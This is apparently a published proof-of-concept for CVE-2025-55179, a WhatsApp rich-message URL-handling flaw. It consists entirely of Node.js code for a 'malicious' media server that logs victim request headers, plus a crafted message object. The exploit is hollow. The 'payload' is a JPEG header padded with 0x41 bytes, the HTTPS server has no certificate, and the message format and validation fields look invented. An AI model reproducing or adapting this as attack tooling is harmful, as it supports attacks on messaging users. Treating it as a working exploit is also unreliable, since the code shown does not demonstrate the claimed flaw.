CVE-2025-55179

// CVE-2025-55179 PoC - WhatsApp Rich Message URL Handling // This PoC demonstrates the incomplete validation vulnerability // Note: Actual exploitation requires sending a specially crafted message const https = require('https'); const crypto = require('crypto'); // Malicious server that serves media content const maliciousServer = https.createServer((req, res) => { console.log('[*] Incoming request from victim device'); console.log('[*] Headers:', req.headers); // Generate malicious media content const payload = generateMaliciousMedia(); res.writeHead(200, { 'Content-Type': 'image/jpeg', 'Content-Length': payload.length, 'Cache-Control': 'no-cache' }); res.end(payload); }); function generateMaliciousMedia() { // Create a crafted media payload // In real scenario, this could exploit parsing vulnerabilities const header = Buffer.from([0xFF, 0xD8, 0xFF, 0xE0]); // JPEG header const exploit = Buffer.alloc(1024, 0x41); const footer = Buffer.from([0xFF, 0xD9]); // JPEG footer return Buffer.concat([header, exploit, footer]); } // Generate the malicious URL for the rich message function generateMaliciousUrl(serverHost) { const path = '/media/' + crypto.randomUUID() + '.jpg'; return `https://${serverHost}${path}`; } // Simulate the rich message structure function createRichMessage(maliciousUrl) { return { type: 'rich_message', version: '1.0', body: { text: 'Check out this image!', media: { url: maliciousUrl, mime_type: 'image/jpeg', thumbnail: 'base64_encoded_thumbnail' } }, // Missing or incomplete URL validation fields validation: { trusted_domain: false, verified: false } }; } maliciousServer.listen(8443, () => { console.log('[+] Malicious server running on port 8443'); console.log('[+] Generate malicious URL and embed in WhatsApp message'); });

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